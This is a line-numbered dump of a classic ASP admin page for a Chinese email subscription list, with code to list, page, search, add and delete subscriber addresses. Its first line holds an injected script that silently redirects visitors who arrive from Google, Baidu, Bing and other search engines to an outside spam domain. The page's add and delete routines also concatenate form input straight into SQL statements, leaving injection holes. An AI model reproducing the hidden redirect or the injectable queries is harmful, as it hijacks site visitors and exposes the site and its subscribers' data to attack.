d:\wwwroot\wuchunhua\mail\cak.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
003:
if session("gly")="" then response.redirect "admin.asp"
004:
if request.QueryString("act")<>"" then
005:
Select Case request("act")
006:
Case "add"
007:
call add()
008:
Case "del"
009:
call del()
010:
End Select
011:
end if
012:
dim count,d,page,n,sql,rs,yushu,totalpage,k
013:
response.expires=0
014:
count=20
015:
d=request.QueryString("id")
016:
if d="" then
017:
page=1
018:
n=1
019:
else
020:
page=d
021:
n=count*(d-1)
022:
end if
023:
%
>
024:
025:
<link rel="stylesheet" type="text/css" href="STYLE.CSS">
026:
<%
027:
set rs=server.createobject("adodb.recordset")
028:
sql="select email,idate,fs from email order by id desc"
029:
rs.open sql,conn,1,1
030:
%
>
031:
<body background="pic/bg.gif">
032:
<form method="POST" action="?act=del" name="form1">
033:
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="500" height="54" align="center">
034:
<tr>
035:
<td width="100%" height="38">
036:
<p align="center">共有<font color=red>
<%
=rs.recordcount
%
></font>人订阅了本邮件列表<p align="center"><table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">
037:
<tr>
038:
<td width="50%" height="20" align="center" bgcolor="#AFD7FF"> 订阅邮箱</td>
039:
<td width="27%" align="center" bgcolor="#AFD7FF"><p align="center">订阅日期</td>
040:
<td width="37%" align="center" bgcolor="#AFD7FF"> <input type="submit" value="删除" name="B1"></td>
041:
</tr>
042:
</table>
043:
</td>
044:
</tr>
045:
<tr>
046:
<td width="100%" height="16">
047:
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">
048:
<%
yushu=rs.recordcount mod count
049:
if yushu=0 then
050:
totalpage=rs.recordcount/count
051:
else
052:
totalpage=int(rs.recordcount/count)+1
053:
end if
054:
k=0
055:
if int(d)>int(totalpage) then
056:
d=int(totalpage)
057:
page=d
058:
n=count*(d-1)
059:
end if
060:
if d<>"" then
061:
for i=1 to n
062:
rs.movenext
063:
next
064:
end if
065:
do while not rs.eof
066:
k=k+1
%
>
067:
<tr>
068:
<td width="50%" height="20">
<%
=rs("email")
%
></td>
069:
<td width="27%"><p align="center">
<%
=rs("idate")
%
></td>
070:
<td width="37%"> <font size="2"> 删除
071:
<input type="checkbox" name="sc" value="
<%
=rs("email")
%
>"></font></td>
072:
</tr>
073:
<%
if k=count then
074:
exit do
075:
end if
076:
rs.movenext
077:
loop
078:
rs.close:set rs=nothing
079:
call closeDB()
%
>
080:
</table>
081:
</td>
082:
</tr>
083:
</table>
084:
</form>
085:
<form method="POST" action="cak.asp" name="form2">
086:
<table width="500" border="0" align="center" cellpadding="0" cellspacing="0">
087:
<tr>
088:
<td align="center">
089:
<%
if page>1 then
%
>
090:
<a href='cak.asp?id=
<%
=(page-1)
%
>'><<上一页</a>
091:
<%
end if
%
>
092:
<%
if int(page) < int(totalpage) then
%
>
093:
<a href='cak.asp?id=
<%
=(page+1)
%
>'>下一页>></a>
094:
<%
end if
%
>
095:
【共<font color=red>
<%
=totalpage
%
></font>页 第<font color=red>
<%
=page
%
></font>页】
096:
</td>
097:
<td align="center">请输入页数：
098:
<input type="text" name="id" size="2" style="border-style: solid; border-width: 1">
099:
<input type="submit" value="跳转" name="B1"></td>
100:
</tr>
101:
</table>
102:
</form>
103:
<form method="POST" name="form3" action="search.asp">
104:
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#9933FF" width="500" height="28" align="center">
105:
<tr>
106:
<td width="100%" bgcolor="#f0f0f0" height="28" align="center"> 查找信箱：
107:
<input type="text" name="T1" size="20" style="border-style: solid; border-width: 1">
108:
109:
<input type="submit" value="查找" name="B1"></td>
110:
</tr>
111:
</table>
112:
</form>
113:
<form method="POST" name="form4" action="?act=add">
114:
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#9933FF" width="500" height="28" align="center">
115:
<tr>
116:
<td width="100%" bgcolor="#f0f0f0" height="28" align="center"> 添加信箱：
117:
<input type="text" name="email" size="40" style="border-style: solid; border-width: 1">
118:
119:
<input type="submit" value="添加" name="add"></td>
120:
</tr>
121:
</table><BR><div align="center">如果是批量添加，信箱间请用半角逗号隔开！</div>
122:
</form>
123:
<p align="center">
<!--#include file="pic/foot.htm"-->
</p>
124:
<%
sub add()
125:
dim fsemail,list,i,rs,err,ok
126:
fsemail=request.form("email")
127:
if fsemail="" then
128:
response.write "<script>alert('请输入email！');history.go(-1)</script>"
129:
response.end
130:
end if
131:
err=0
132:
133:
set rs=server.createobject("adodb.recordset")
134:
sql="select email from email order by id desc"
135:
rs.open sql,conn,1,1
136:
list=split(fsemail,",")
137:
For Each i in list
138:
if not (rs.bof and rs.eof) then
139:
do while not rs.eof
140:
if i=rs(0) then
141:
err=err+1
142:
ok=1
143:
exit do
144:
end if
145:
rs.movenext
146:
loop
147:
rs.MoveFirst
148:
end if
149:
if ok<>1 then
150:
conn.execute"Insert into email(email,idate) values ('"&i&"',#"&date()&"#)"
151:
end if
152:
ok=0
153:
next
154:
rs.close:set rs=nothing
155:
if err=0 then
156:
response.write "<script>alert('信箱添加成功!');</script>"
157:
else
158:
ok=UBound(list)-err+1
159:
response.write "<script>alert('"&ok&"个信箱添加成功！\n"&err&"个信箱已经存在于数据库中!');</script>"
160:
end if
161:
162:
end sub
163:
164:
sub del()
165:
if request.form("sc").count<>0 then
166:
dim i,sc
167:
for i=1 to request.form("sc").count
168:
sc=request.form("sc")(i)
169:
conn.execute("delete from email where email='"&sc&"'")
170:
next
171:
end if
172:
call closeDB()
173:
response.write "<script>alert('删除成功!');location.href='cak.asp';</script>"
174:
response.end
175:
end sub
176:
%
>
177:
178: